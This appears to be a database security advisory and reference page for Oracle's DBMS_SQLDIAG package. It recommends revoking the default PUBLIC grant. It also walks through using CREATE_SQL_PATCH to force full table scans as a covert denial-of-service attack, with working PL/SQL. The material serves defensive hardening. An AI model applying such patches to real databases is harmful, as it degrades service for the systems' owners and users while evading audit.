DBSecWorx: DBMS

Oracle DBMS_SQLDIAG Built-In Package Versions 11.1 - 21c

Security Advisory

SQL Repair Advisor
Must have the Advisor Role - except it may not be true

DBMS_SQLDIAG only became a potential risk with release of version 12.2 when the I_CREATE_PATCH function was relocated from DBMS_SQLDIAG_INTERNAL to DBMS_SQLDIAG and renamed to CREATE_SQL_PATCH. A SQL Patch is a form of DML rewrite where SQL is hinted without requiring that the person or session altering the SQL statement have access to the source code.

While patching is traditionally thought of as a way to improve DML performance there are plenty of real-world examples of patching done poorly bringing an Oracle Database's performance to a very different outcome. One example this author remembers, from a very large mobile phone company, was developers putting the PARALLEL hint into so many SQL statements that they overwhelmed by more than an order of magnitude the number of cpu threads available on the server.

What makes this especially concerning is Oracle has not thought through the implications of its original decision to grant EXECUTE on this package to PUBLIC. The question that should have been asked, but clearly wasn't, was ". Why would anyone with only CREATE SESSION privilege need to be running SQL Diagnostics?" Because, clearly, no one except a DBA or senior developer should be running and interpreting diagnostics. The addition of the SQL Patching capability only adds makes the original error in judgment more dangerous.

Recommended Security Rules

NEVER

Leave Oracle's default GRANT of EXECUTE to PUBLIC in an installed database version 12.2 or above

WITH GREAT CARE

Revoke EXECUTE from PUBLIC

CAUTIONS

Any GRANT of EXECUTE on this package should be justified with respect to which of the package's 29 objects will be used and why
Any use of DBMS_SQLDIAG should be carefully monitored to be sure that it complies with the decision to grant the EXECUTE privilege

How Oracle Works

SQL Patching Take a good look at the following 3 SQL statements and their associated explain plans. The first statement is not the most efficient that could be written but it isn't too bad. The second increases the cost by 20% from 4 to 5. The third raises the cost from the original 4 to 19 ... a hit on resources that corresponds with 475%. The tables in this query had 141 and 999 rows respectively. What would happen if these were really large tables and someone forcd a full table scan? EXPLAIN PLAN FOR SELECT DISTINCT s.srvr_id FROM servers s, serv_inst i WHERE s.srvr_id = i.srvr_id; SELECT * FROM TABLE(dbms_xplan.display); -------------------------------------------------------------------------- | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| -------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 11 | 88 | 4 (25)| | 1 | HASH UNIQUE | | 11 | 88 | 4 (25)| | 2 | NESTED LOOPS SEMI | | 983 | 7864 | 3 (0)| | 3 | INDEX FAST FULL SCAN| PK_SERV_INST | 999 | 3996 | 3 (0)| |* 4 | INDEX UNIQUE SCAN | PK_SERVERS | 141 | 564 | 0 (0)| -------------------------------------------------------------------------- EXPLAIN PLAN FOR SELECT /*+ USE_HASH(s,i) */ DISTINCT s.srvr_id FROM servers s, serv_inst i WHERE s.srvr_id = i.srvr_id; SELECT * FROM TABLE(dbms_xplan.display); -------------------------------------------------------------------------- | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| -------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 11 | 88 | 5 (20)| | 1 | HASH UNIQUE | | 11 | 88 | 5 (20)| |* 2 | HASH JOIN SEMI | | 11 | 88 | 4 (0)| | 3 | INDEX FULL SCAN | PK_SERVERS | 141 | 564 | 1 (0)| | 4 | INDEX FAST FULL SCAN| PK_SERV_INST | 999 | 3996 | 3 (0)| -------------------------------------------------------------------------- EXPLAIN PLAN FOR SELECT /*+ NO_INDEX(i pk_serv_inst) NO_INDEX(s pk_servers) */ DISTINCT s.srvr_id FROM servers s, serv_inst i WHERE s.srvr_id = i.srvr_id; SELECT * FROM TABLE(dbms_xplan.display); --------------------------------------------------------------------- | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| --------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 11 | 88 | 19 (6)| | 1 | HASH UNIQUE | | 11 | 88 | 19 (6)| |* 2 | HASH JOIN SEMI | | 11 | 88 | 18 (0)| | 3 | TABLE ACCESS FULL | SERVERS | 141 | 564 | 9 (0)| | 4 | TABLE ACCESS FULL | SERV_INST | 999 | 3996 | 9 (0)| --------------------------------------------------------------------- To create performance degradation above one would need access to the SQL source code, likely embedded in compiled Java or dot net code so the danger of this happening as a deliberate attack is small because a change to the source code would have to take place at the OEM, survive testing, and would manifest itself at every customer site.

Using a SQL Patch to generate a Denial of Service attack Now we will perform the exact same attack but at a single customer site. And do it in a way that cannot be observed by any form of network, end-point, or behavioral auditing. The first step is to obtain the statement's SQL_ID. SQL> SELECT DISTINCT s.srvr_id 2 FROM servers s, serv_inst i 3 WHERE s.srvr_id = i.srvr_id; SRVR_ID ---------- 14 501 504 502 2 12 505 5 506 3 503 11 rows selected. SELECT sql_id, sql_text FROM v$sqlarea WHERE sql_fulltext LIKE '%SELECT DISTINCT s.srvr_id%'; SQL_ID SQL_TEXT ------------- ------------------------------------------------------- 6a0ndq333saxj SELECT DISTINCT s.srvr_id FROM servers s, serv_inst i WHERE s.srvr_id = i.srvr_id 9xbc179t3czdp EXPLAIN PLAN FOR SELECT DISTINCT s.srvr_id FROM servers s, serv_inst i WHERE s.srvr_id = i.srvr_id fs0xz78yarg0k SELECT sql_id, sql_text FROM v$sqlarea WHERE sql_fulltext LIKE '%SELECT DISTINCT s.srvr_id%' The first SQL_ID is the one we want to target. The second is the Explain Plan statement and th third is the statement just executed that returned its own SQL_ID plus the other two. DECLARE htxt CLOB := 'FULL(servers)'; retVal VARCHAR2(60); BEGIN retVal := sys.dbms_sqldiag.create_sql_patch('9babjv8yq8ru3', htxt); dbms_output.put_line(retVal); END; / SYS_SQLPTCH_016c316993fe0003 PL/SQL procedure successfully completed. Now, let's observe the execution plan when we execute the unpatched original SQL statement. Do we get the original statement's HASH UNIQUE and NESTED LOOP SEMI or the FULL TABLE SCAN? ALTER SYSTEM FLUSH BUFFER_CACHE; ALTER SYSTEM FLUSH SHARED_POOL; SELECT DISTINCT s.srvr_id FROM servers s, serv_inst i WHERE s.srvr_id = i.srvr_id; SELECT * FROM TABLE(dbms_xplan.display_cursor);

DBMS_SQLDIAG Package Information

AUTHID CURRENT_USER

Constants

Name	Data Type	Value
SQLDiag Advisor Name
ADV_SQL_DIAG_NAME	VARCHAR2(18)	'SQL Repair Advisor'
Task Scopes
SCOPE_LIMITED	VARCHAR2(7)	'LIMITED'
SCOPE_COMPREHENSIVE	VARCHAR2(13)	'COMPREHENSIVE'
Advisor Time Limit
TIME_LIMIT_DEFAULT	NUMBER	1800
Report Types
TYPE_HTML	VARCHAR2(4)	'HTML'
TYPE_TEXT	VARCHAR2(4)	'TEXT'
TYPE_XML	VARCHAR2(3)	'XML'
Report Levels
LEVEL_ALL	VARCHAR2(3)	'ALL'
LEVEL_BASIC	VARCHAR2(7)	'BASIC'
LEVEL_TYPICAL	VARCHAR2(7)	'TYPICAL'
Report Sections
SECTION_ALL	VARCHAR2(3)	'ALL'
SECTION_ERRORS	VARCHAR2(6)	'ERRORS'
SECTION_FINDINGS	VARCHAR2(8)	'FINDINGS'
SECTION_INFORMATION	VARCHAR2(11)	'INFORMATION'
SECTION_PLANS	VARCHAR2(5)	'PLANS'
SECTION_SUMMARY	VARCHAR2(7)	'SUMMARY'
Script Sections
REC_TYPE_ALL	VARCHAR2(3)	'ALL'
REC_TYPE_INDEXES	VARCHAR2(7)	'INDEXES'
REC_TYPE_SQL_PROFILES	VARCHAR2(8)	'PROFILES'
REC_TYPE_STATS	VARCHAR2(10)	'STATISTICS'
Capture Sections
MODE_REPLACE_OLD_STATS	NUMBER	1
MODE_ACCUMULATE_STATS	NUMBER	2
Problem Types
PROBLEM_TYPE_PERFORMANCE	NUMBER	1
PROBLEM_TYPE_WRONG_RESULTS	NUMBER	2
PROBLEM_TYPE_COMPILATION_ERROR	NUMBER	3
PROBLEM_TYPE_EXECUTION_ERROR	NUMBER	4
PROBLEM_TYPE_ALT_PLAN_GEN	NUMBER	5
Findings Filters
SQLDIAG_FINDINGS_ALL	NUMBER	1
SQLDIAG_FINDINGS_VALIDATION	NUMBER	2
SQLDIAG_FINDINGS_FEATURES	NUMBER	3
SQLDIAG_FINDINGS_FILTER_PLANS	NUMBER	4
SQLDIAG_FINDINGS_CR_DIFF	NUMBER	5
SQLDIAG_FINDINGS_MASK_VARIANT	NUMBER	6
SQLDIAG_FINDINGS_OBJ_FEATURES	NUMBER	7
SQLDIAG_FINDINGS_BASIC_INFO	NUMBER	8
Mask Mode for Filtering Findings
SQLDIAG_MASK_NONE	NUMBER	1
SQLDIAG_MASK_COST	NUMBER	2

Dependencies

ALL_USERS	DBMS_SQLPA	DBMS_XPLAN
ANYDATA	DBMS_SQLTCB_INTERNAL	DUAL
DBMS_ADVISOR	DBMS_SQLTUNE	PLITBLM
DBMS_ASSERT	DBMS_SQLTUNE_INTERNAL	PRVT_ADVISOR
DBMS_LOB	DBMS_SQLTUNE_UTIL0	PRVT_SQLADV_INFRA
DBMS_MANAGEMENT_PACKS	DBMS_SQLTUNE_UTIL1	PRVT_SQLPROF_INFRA
DBMS_PDB	DBMS_SQLTUNE_UTIL2	SQLSET_ROW
DBMS_PDB_CHECK_LOCKDOWN	DBMS_STANDARD	SQL_BINDS
DBMS_SMB	DBMS_STATS	V$SQL
DBMS_SMB_INTERNAL	DBMS_STATS_INTERNAL	XMLSEQUENCE
DBMS_SPM	DBMS_STATS_INTERNAL_AGG	XMLTYPE
DBMS_SQLDIAG_INTERNAL	DBMS_SYS_ERROR	XQSEQUENCE

Documented Yes

First Available 11.1.0.6

Security Model Owned by SYS with EXECUTE granted to PUBLIC (a grant that is a clear violation of the Principle of Least Privilege).

Use of this package requires the ADVISOR system privilege.

ALTER ANY SQL PATCH, CREATE ANY SQL PATCH, and/or DROP ANY SQL PATCH must be granted to utilize the corresponding functionality.

Source {ORACLE_HOME}/rdbms/admin/dbmsdiag.sql

Subprograms

ACCEPT_SQL_PATCH	EXPLAIN_SQL_TESTCASE	PACK_STGTAB_SQLPATCH
ALTER_SQL_PATCH	EXPORT_SQL_TESTCASE	REPLAY_SQL_TESTCASE
CANCEL_DIAGNOSIS_TASK	EXPORT_SQL_TESTCASE_DIR_BY_INC	REPORT_DIAGNOSIS_TASK
CREATE_DIAGNOSIS_TASK	EXPORT_SQL_TESTCASE_DIR_BY_TXT	RESET_DIAGNOSIS_TASK
CREATE_SQL_PATCH	GETSQL	RESUME_DIAGNOSIS_TASK
CREATE_STGTAB_SQLPATCH	GET_FIX_CONTROL	SET_DIAGNOSIS_TASK_PARAMETER
DROP_DIAGNOSIS_TASK	IMPORT_SQL_TESTCASE	SET_TCB_TRACING
DROP_SQL_PATCH	INCIDENTID_2_SQL	SQL_DIAGNOSE_AND_REPAIR
DUMP_TRACE	INTERRUPT_DIAGNOSIS_TASK	UNPACK_STGTAB_SQLPATCH
EXECUTE_DIAGNOSIS_TASK	LOAD_SQLSET_FROM_TCB	Demo

ACCEPT_SQL_PATCH

This procedure accepts a SQL patch as recommended by the specified SQL tuning task

Overload 1 dbms_sqldiag.accept_sql_patch( task_name IN VARCHAR2, object_id IN NUMBER := NULL, name IN VARCHAR2 := NULL, description IN VARCHAR2 := NULL, category IN VARCHAR2 := NULL, task_owner IN VARCHAR2 := NULL, replace IN BOOLEAN := FALSE, force_match IN BOOLEAN := FALSE) RETURN VARCHAR2;

TBD

Overload 2 dbms_sqldiag.accept_sql_patch( task_name IN VARCHAR2, object_id IN NUMBER := NULL, name IN VARCHAR2 := NULL, description IN VARCHAR2 := NULL, category IN VARCHAR2 := NULL, task_owner IN VARCHAR2 := NULL, replace IN BOOLEAN := FALSE, force_match IN BOOLEAN := FALSE);

TBD

ALTER_SQL_PATCH

This procedure alters specific attributes of an existing SQL patch object dbms_sqldiag.alter_sql_patch( name IN VARCHAR2, attribute_name IN VARCHAR2, value IN VARCHAR2);

TBD

CANCEL_DIAGNOSIS_TASK

Cancels a diagnostic task dbms_sqldiag.cancel_diagnosis_task(task_name IN VARCHAR2);

exec dbms_sqldiag.cancel_diagnosis_task('ERROR_TASK');

CREATE_DIAGNOSIS_TASK

Creates a diagnostic task in order to diagnose a single SQL statement

Overload 1 dbms_sqldiag.create_diagnosis_task( sql_text IN CLOB, bind_list IN sql_binds := NULL, user_name IN VARCHAR2 := NULL, scope IN VARCHAR2 := SCOPE_COMPREHENSIVE, time_limit IN NUMBER := TIME_LIMIT_DEFAULT, task_name IN VARCHAR2 := NULL, description IN VARCHAR2 := NULL, problem_type IN NUMBER := PROBLEM_TYPE_PERFORMANCE) RETURN VARCHAR2;

See Demo below

Overload 2 dbms_sqldiag.create_diagnosis_task( sql_id IN VARCHAR2, plan_hash_value IN NUMBER := NULL, scope IN VARCHAR2 := SCOPE_COMPREHENSIVE, time_limit IN NUMBER := TIME_LIMIT_DEFAULT, task_name IN VARCHAR2 := NULL, description IN VARCHAR2 := NULL, problem_type IN NUMBER := PROBLEM_TYPE_PERFORMANCE) RETURN VARCHAR2;

TBD

Overload 3 dbms_sqldiag.create_diagnosis_task( sqlset_name IN VARCHAR2, basic_filter IN VARCHAR2 := NULL, object_filter IN VARCHAR2 := NULL, rank1 IN VARCHAR2 := NULL, rank2 IN VARCHAR2 := NULL, rank3 IN VARCHAR2 := NULL, result_percentage IN NUMBER := NULL, result_limit IN NUMBER := NULL, scope IN VARCHAR2 := SCOPE_COMPREHENSIVE, time_limit IN NUMBER := TIME_LIMIT_DEFAULT, task_name IN VARCHAR2 := NULL, description IN VARCHAR2 := NULL, plan_filter IN VARCHAR2 := 'MAX_ELAPSED_TIME', sqlset_owner IN VARCHAR2 := NULL, problem_type IN NUMBER := PROBLEM_TYPE_PERFORMANCE) RETURN VARCHAR2;

TBD

CREATE_SQL_PATCH

Creates a SQL patch based on a set of user specified hints for specific statements identified by the SQL text. A SQL patch is usually created automatically by the SQL Repair Advisor to prevent any errors during the compilation or execution of a SQL statement. This procedure provides a way to manually create a SQL patch based on a set of hints that resolves the issue.

Overload 1 dbms_sqldiag.create_sql_patch( sql_text IN CLOB, hint_text IN CLOB, name IN VARCHAR2 := NULL, decription IN VARCHAR2 := NULL, category IN VARCHAR2 := NULL, validate IN BOOLEAN := TRUE) RETURN VARCHAR2;

SQL> variable srvrid number;

      SQL> exec :srvrid := 12

      

      PL/SQL procedure successfully completed.

      

      SELECT /* CREATE_PATCH1 */ COUNT(*), MAX(siid)

      FROM uwclass.serv_inst

      WHERE srvr_id = :srvrid;

      

        COUNT(*) MAX(SIID)

      ---------- ----------

              22   3714862

      

      SELECT sql_id, sql_text

      FROM v$sqlarea

      WHERE sql_fulltext LIKE '%CREATE_PATCH%';

      

      SQL_ID        SQL_TEXT

      ------------- -----------------------------------------------

      0taz20gu81tvd
      SELECT /* CREATE_PATCH1 */ COUNT(*), MAX(siid) 

                    FROM uwclass.serv_inst WHERE srvr_id = :srvrid

      

      SELECT is_bind_aware

      FROM v$sql

      WHERE sql_id = '0taz20gu81tvd';

      

      I

      -

      N

      

      DECLARE

        stxt CLOB := 'SELECT /* CREATE_PATCH2 */ COUNT(*), MAX(siid) ' ||

                     'FROM uwclass.serv_inst WHERE srvr_id = :srvrid';

        htxt CLOB := 'BIND_AWARE';

        retVal VARCHAR2(60);

      BEGIN

        retVal := sys.dbms_sqldiag.create_sql_patch(stxt, htxt);

        dbms_output.put_line(retVal);

      END;

      /

      SYS_SQLPTCH_0161abef311f0000

      

      PL/SQL procedure successfully completed.

Creates a SQL patch based on a set of user specified hints for specific statements identified by the SQL id. A SQL patch is usually created automatically by the SQL Repair Advisor to prevent any errors during the compilation or execution of a SQL statement. This procedure provides a way to manually create a SQL patch based on a set of hints that resolves the issue.

Overload 2 dbms_sqldiag.create_sql_patch( sql_id IN VARCHAR2, hint_text IN CLOB, name IN VARCHAR2 := NULL, decription IN VARCHAR2 := NULL, category IN VARCHAR2 := NULL, validate IN BOOLEAN := TRUE) RETURN VARCHAR2;

DECLARE

       htxt   CLOB := 'NO_INDEX(i pk_serv_inst) 
      NO_INDEX(s pk_servers)';

       retVal VARCHAR2(60);

      BEGIN

        retVal := sys.dbms_sqldiag.create_sql_patch('6a0ndq333saxj', htxt);

        dbms_output.put_line(retVal);

      END;

      /

CREATE_STGTAB_SQLPATCH

Creates the staging table used for transporting SQL patches from one system to another dbms_sqldiag.create_stgtab_sqlpatch( table_name IN VARCHAR2, schema_name IN VARCHAR2 := NULL, tablespace_name IN VARCHAR2 := NULL);

TBD

DROP_DIAGNOSIS_TASK

Drops a diagnostic task dbms_sqldiag.drop_diagnosis_task(task_name IN VARCHAR2);

TBD

DROP_SQL_PATCH

This procedure drops the named SQL patch from the database dbms_sqldiag.drop_sql_patch( name IN VARCHAR2, ignore IN BOOLEAN := FALSE);

SQL> exec dbms_sqldiag.drop_sql_patch('SYS_SQLPTCH_016c315f3f6a0000');

      

      PL/SQL procedure successfully completed.

DUMP_TRACE

Dump Optimizer Trace dbms_sqldiag.dump_trace( p_sql_id IN VARCHAR2, p_child_number IN NUMBER DEFAULT 0, p_component IN VARCHAR2 DEFAULT 'Optimizer', -- alt. value 'Compiler' p_file_id IN VARCHAR2 DEFAULT NULL);

SELECT /* DUMP_TRACE */ DISTINCT s.srvr_id

      FROM servers s, serv_inst i

      WHERE s.srvr_id = i.srvr_id;

      

      SELECT sql_id, child_number

      FROM v$sql

      WHERE sql_text LIKE '%DUMP_TRACE%';

      

      exec dbms_sqldiag.dump_trace('gk3bbazk1jj3h', 0);

      

      -- the file was dumped as:

      /app/oracle/product/diag/rdbms/orabeta/orabeta/trace/orabeta_dbrm_18833.trc

EXECUTE_DIAGNOSIS_TASK

Executes a diagnostic task dbms_sqldiag.execute_diagnosis_task(task_name IN VARCHAR2);

See Demo below

EXPLAIN_SQL_TESTCASE

Explains a SQL test case. The docs say the input should be an XML document but give no indication of where it is supposed to come from. dbms_sqldiag.explain_sql_testcase(sqlTestCase IN CLOB) RETURN CLOB;

TBD

EXPORT_SQL_TESTCASE

Export a SQL test case to a directory. This variant of the API has to be provided with the SQL information

Overload 1 dbms_sqldiag.export_sql_testcase( directory IN VARCHAR2, sql_text IN CLOB, user_name IN VARCHAR2 := NULL, bind_list IN sql_binds := NULL, exportEnvironment IN BOOLEAN := TRUE, exportMetadata IN BOOLEAN := TRUE, exportData IN BOOLEAN := FALSE, samplingPercent IN NUMBER := 100, ctrlOptions IN VARCHAR2 := NULL, timeLimit IN NUMBER := 0, testcase_name IN VARCHAR2 := NULL, testcase IN OUT NOCOPY CLOB, preserveSchemaMapping IN BOOLEAN := FALSE, version IN VARCHAR2 := 'COMPATIBLE');

TBD

Export a SQL test case to a directory. This API extract the SQL information from an incident file.

Overload 2 dbms_sqldiag.export_sql_testcase( directory IN VARCHAR2, incident_id IN VARCHAR2, exportEnvironment IN BOOLEAN := TRUE, exportMetadata IN BOOLEAN := TRUE, exportData IN BOOLEAN := FALSE, samplingPercent IN NUMBER := 100, ctrlOptions IN VARCHAR2 := NULL, timeLimit IN NUMBER := 0, testcase_name IN VARCHAR2 := NULL, testcase IN OUT NOCOPY CLOB, preserveSchemaMapping IN BOOLEAN := FALSE, version IN VARCHAR2 := 'COMPATIBLE');

TBD

Export a SQL test case to a directory. This API allow the SQL Testcase to be generated from a cursor present in the cursor cache. Use v$sql to get the SQL identifier and the SQL hash value.

Overload 3 dbms_sqldiag.export_sql_testcase( directory IN VARCHAR2, sql_id IN VARCHAR2, plan_hash_value IN NUMBER := NULL, exportEnvironment IN BOOLEAN := TRUE, exportMetadata IN BOOLEAN := TRUE, exportData IN BOOLEAN := FALSE, samplingPercent IN NUMBER := 100, ctrlOptions IN VARCHAR2 := NULL, timeLimit IN NUMBER := 0, testcase_name IN VARCHAR2 := NULL, testcase IN OUT NOCOPY CLOB, preserveSchemaMapping IN BOOLEAN := FALSE, version IN VARCHAR2 := 'COMPATIBLE');

TBD

EXPORT_SQL_TESTCASE_DIR_BY_INC

Export a test case to a directory dbms_sqldiag.export_sql_testcase_dir_by_inc( incident_id IN NUMBER, directory IN VARCHAR2, samplingPercent IN VARCHAR2 := '0', exportEnvironment IN BOOLEAN := TRUE, exportMetadata IN BOOLEAN := TRUE, exportPkgbody IN BOOLEAN := FALSE, preserveSchemaMapping IN BOOLEAN := FALSE, version IN VARCHAR2 := 'COMPATIBLE') RETURN BOOLEAN;

-- go to $ORACLE_BASE/diag/rdbms/orabeta/orabeta/incident and view subdirectory incdir_3809

set serveroutput on

      

      DECLARE

       v_inc NUMBER := 3809;

       v_dir VARCHAR2(30) := 'CTEMP';

      BEGIN

        IF sys.dbms_sqldiag.export_sql_testcase_dir_by_inc(v_inc, v_dir) THEN

          dbms_output.put_line('Package Created');

        ELSE

          dbms_output.put_line('Package Creation Failure');

        END IF;

      END;

      /

      

      SQL> DECLARE

        2   v_inc NUMBER := 3809;

        3   v_dir VARCHAR2(30) := 'CTEMP';

        4  BEGIN

        5    IF sys.dbms_sqldiag.export_sql_testcase_dir_by_inc(v_inc, v_dir) THEN

        6      dbms_output.put_line('Package Created');

        7    ELSE

        8      dbms_output.put_line('Package Creation Failure');

        9    END IF;

       10  END;

       11  /

      DECLARE

      *

      ERROR at line 1:

      ORA-39087: directory name TCBORA$PIPE$008C07960001 is invalid

      ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86

      ORA-06512: at "SYS.DBMS_SQLDIAG", line 92

      ORA-06512: at "SYS.DBMS_SQLDIAG", line 312

      ORA-06512: at line 5

Note these are not the same as ADRCI indicent numbers
The docs are terrible on this

EXPORT_SQL_TESTCASE_DIR_BY_TXT

Generates a SQL Test Case corresponding to the SQL passed as an argument dbms_sqldiag.export_sql_testcase_dir_by_txt( incident_id IN NUMBER, directory IN VARCHAR2, sql_text IN CLOB, user_name IN VARCHAR2 := NULL, samplingPercent IN VARCHAR2 := '0', exportEnvironment IN BOOLEAN := TRUE, exportMetadata IN BOOLEAN := TRUE, exportPkgbody IN BOOLEAN := FALSE, preserveSchemaMapping IN BOOLEAN := FALSE, version IN VARCHAR2 := 'COMPATIBLE') RETURN BOOLEAN;

TBD

GETSQL

Load a sql_setrow from the trace file associated with an incident ID dbms_sqldiag.getsql(incident_id IN VARCHAR2) RETURN SQLSET_ROW;

SELECT num_incident, check_name, name, timeout

      FROM gv$hm_run;

      

      desc sqlset_row

      

      set serveroutput on

      

      DECLARE

       z   VARCHAR2(100);

       ssr sqlset_row;

      BEGIN

        ssr := dbms_sqldiag.getsql(1);

        dbms_output.put_line(z);

      END;

      /

GET_FIX_CONTROL

Returns the value of fix control for a given bug number dbms_sqldiag.get_fix_control(bug_number IN NUMBER) RETURN NUMBER;

SELECT dbms_sqldiag.get_fix_control(13)

      FROM dual;

IMPORT_SQL_TESTCASE

Import a SQL Test case into a schema from a directory and a file name

Overload 1 dbms_sqldiag.import_sql_testcase( directory IN VARCHAR2, sqlTestCase IN CLOB, importEnvironment IN BOOLEAN := TRUE, importMetadata IN BOOLEAN := TRUE, importData IN BOOLEAN := FALSE, importDiagnosis IN BOOLEAN := TRUE, ignoreStorage IN BOOLEAN := TRUE, ctrlOptions IN VARCHAR2 := NULL, preserveSchemaMapping IN BOOLEAN := FALSE);

TBD

Initialize a sql_setrow from an incident ID. Given a valid incident ID this function parses the trace file and extract as much information as possible about the SQL that causes the generation of this incident (SQL text, user name, binds, etc...).

Overload 2 dbms_sqldiag.import_sql_testcase( directory IN VARCHAR2, filename IN VARCHAR2, importEnvironment IN BOOLEAN := TRUE, importMetadata IN BOOLEAN := TRUE, importData IN BOOLEAN := FALSE, importDiagnosis IN BOOLEAN := TRUE, ignoreStorage IN BOOLEAN := TRUE, ctrlOptions IN VARCHAR2 := NULL, preserveSchemaMapping IN BOOLEAN := FALSE);

TBD

INCIDENTID_2_SQL

Initializes a sql_setrow from an incident ID dbms_sqldiag.incidentid_2_sql( incident_id IN VARCHAR2, sql_stmt OUT SQLSET_ROW, problem_type OUT NUMBER, err_code OUT BINARY_INTEGER, err_mesg OUT VARCHAR2);

TBD

INTERRUPT_DIAGNOSIS_TASK

Interrupts a diagnostic task dbms_sqldiag.interrupt_diagnosis_task(task_name IN VARCHAR2);

TBD

LOAD_SQLSET_FROM_TCB

Loads a SQLSET from Test Case Builder (TCB) file dbms_sqldiag.interrupt_diagnosis_task(task_name IN VARCHAR2);

TBD

PACK_STGTAB_SQLPATCH

SQL patches into the staging table created by the CREATE_STGTAB_SQLPATCH Procedure dbms_sqldiag.pack_stgtab_sqlpatch( patch_name IN VARCHAR2 := '%', patch_category IN VARCHAR2 := 'DEFAULT', staging_table_name IN VARCHAR2, staging_schema_owner IN VARCHAR2 := NULL);

TBD

REPLAY_SQL_TESTCASE

Replays a SQL test case

Overload 1 dbms_sqldiag.explain_sql_testcase( directory IN VARCHAR2, sqlTestCase IN CLOB, ctrlOptions IN VARCHAR2 := NULL, format IN VARCHAR2 := 'TEXT') RETURN CLOB;

TBD

Overload 2 dbms_sqldiag.explain_sql_testcase( directory IN VARCHAR2, filename IN VARCHAR2, ctrlOptions IN VARCHAR2 := NULL, format IN VARCHAR2 := 'TEXT') RETURN CLOB;

TBD

REPORT_DIAGNOSIS_TASK

Reports on a diagnostic task dbms_sqldiag.report_diagnosis_task( task_name IN VARCHAR2, type IN VARCHAR2 := TYPE_TEXT, level IN VARCHAR2 := LEVEL_ALL, section IN VARCHAR2 := SECTION_ALL, object_id IN NUMBER := NULL, result_limit IN NUMBER := NULL, owner_name IN VARCHAR2 := NULL) RETURN CLOB;

See Demo Below

RESET_DIAGNOSIS_TASK

Resets a diagnostic task dbms_sqldiag.reset_diagnosis_task(task_name IN VARCHAR2);

TBD

RESUME_DIAGNOSIS_TASK

Resume a diagnostic task dbms_sqldiag.resume_diagnosis_task(task_name IN VARCHAR2);

TBD

SET_DIAGNOSIS_TASK_PARAMETER

Sets a diagnosis task parameter dbms_sqldiag.set_diagnosis_task_parameter( task_name IN VARCHAR2, parameter IN VARCHAR2, value IN NUMBER);

TBD

SET_TCB_TRACING

Enables/disables TCB tracing (for Oracle Support/Development use only) dbms_sqldiag.set_tcb_tracing(status IN BOOLEAN := TRUE);

exec dbms_sqldiag.set_tcb_tracing(FALSE);

SQL_DIAGNOSE_AND_REPAIR

Diagnose a given SQL statement for the given problem type.
-- It creates an incident, populate incident metadata with
-- required information like, sqlid, sql text, compilation env etc,
-- creates a diagnostic task, executes it and accepts SQL PATCH
-- recommendation for a given SQL statement.

Overload 1 dbms_sqldiag.sql_diagnose_and_repair( sql_id IN VARCHAR2, plan_hash_value IN NUMBER := NULL, scope IN VARCHAR2 := SCOPE_COMPREHENSIVE, time_limit IN NUMBER := TIME_LIMIT_DEFAULT, problem_type IN NUMBER := PROBLEM_TYPE_PERFORMANCE, auto_apply_patch IN VARCHAR2 := 'YES') RETURN NUMBER;

TBD

Overload 2 dbms_sqldiag.sql_diagnose_and_repair( sql_id IN CLOB, bind_list IN sql_binds := NULL, scope IN VARCHAR2 := SCOPE_COMPREHENSIVE, time_limit IN NUMBER := TIME_LIMIT_DEFAULT, problem_type IN NUMBER := PROBLEM_TYPE_PERFORMANCE, auto_apply_patch IN VARCHAR2 := 'YES') RETURN NUMBER;

TBD

Overload 3 dbms_sqldiag.sql_diagnose_and_repair( incident_id IN NUMBER, scope IN VARCHAR2 := SCOPE_COMPREHENSIVE, time_limit IN NUMBER := TIME_LIMIT_DEFAULT, problem_type IN NUMBER := PROBLEM_TYPE_PERFORMANCE, auto_apply_patch IN VARCHAR2 := 'YES') RETURN NUMBER;

TBD

UNPACK_STGTAB_SQLPATCH

Unpacks from the staging table populated by a call to PACK_STGTAB_SQLPATCH, using the patch data stored in the staging table to create patches on this system dbms_sqldiag.unpack_stgtab_sqlpatch( patch_name IN VARCHAR2 := '%', patch_category IN VARCHAR2 := '%', replace IN BOOLEAN, staging_table_name IN VARCHAR2, staging_schema_owner IN VARCHAR2 := NULL);

TBD

Demo

DBMS_SQLDIAG Demo conn uwclass/uwclass@pdbdev CREATE TABLE t ( a VARCHAR2(3), b VARCHAR2(3), c VARCHAR2(3), d VARCHAR2(3)); INSERT INTO t VALUES ('a', 'b', 'c', 'd'); INSERT INTO t VALUES ('u', 'v', 'w', 'd'); INSERT INTO t VALUES ('a', 'b', 'c', 'z'); INSERT INTO t VALUES ('w', 'x', 'y', 'd'); SELECT * FROM t; -- a critical error occurs DELETE FROM uwclass.t t1 WHERE t1.a = 'a' AND ROWID <> ( SELECT MAX(ROWID) FROM uwclass.t t2 WHERE t1.a= t2.a AND t1.b = t2.b AND t1.d=t2.d); SELECT task_id, task_name, created, advisor_name, status FROM dba_advisor_tasks ORDER BY 1; set long 1000000 set serveroutput on DECLARE rep_out CLOB; t_id VARCHAR2(50); BEGIN -- create a diagnosis task t_id := dbms_sqldiag.create_diagnosis_task( sql_text => 'DELETE FROM uwclass.t t1 WHERE t1.a = ''a'' AND ROWID <> (SELECT MAX(ROWID) FROM uwclass.t t2 WHERE t1.a= t2.a AND t1.b = t2.b AND t1.d=t2.d)', task_name => 'error_task', problem_type => DBMS_SQLDIAG.PROBLEM_TYPE_COMPILATION_ERROR); -- run the diagnosis task dbms_sqldiag.execute_diagnosis_task(t_id); -- output the report rep_out := dbms_sqldiag.report_diagnosis_task(t_id, dbms_sqldiag.type_text); dbms_output.put_line('Report : ' || rep_out); END; / SELECT task_id, task_name, created, advisor_name, status FROM dba_advisor_tasks ORDER BY 1; -- apply the recommended patch exec dbms_sqldiag.accept_sql_patch(task_name => 'error_task', task_owner => 'SYS', replace => TRUE); -- test the patch DELETE FROM t t1 WHERE t1.a = 'a' AND ROWID <> (SELECT MAX(rowid) FROM t t2 WHERE t1.a= t2.a AND t1.b = t2.b AND t1.d=t2.d); SELECT task_id, task_name, created, advisor_name, status FROM dba_advisor_tasks ORDER BY 1; dbms_sqltune.drop_tuning_task(task_name => 'error_task');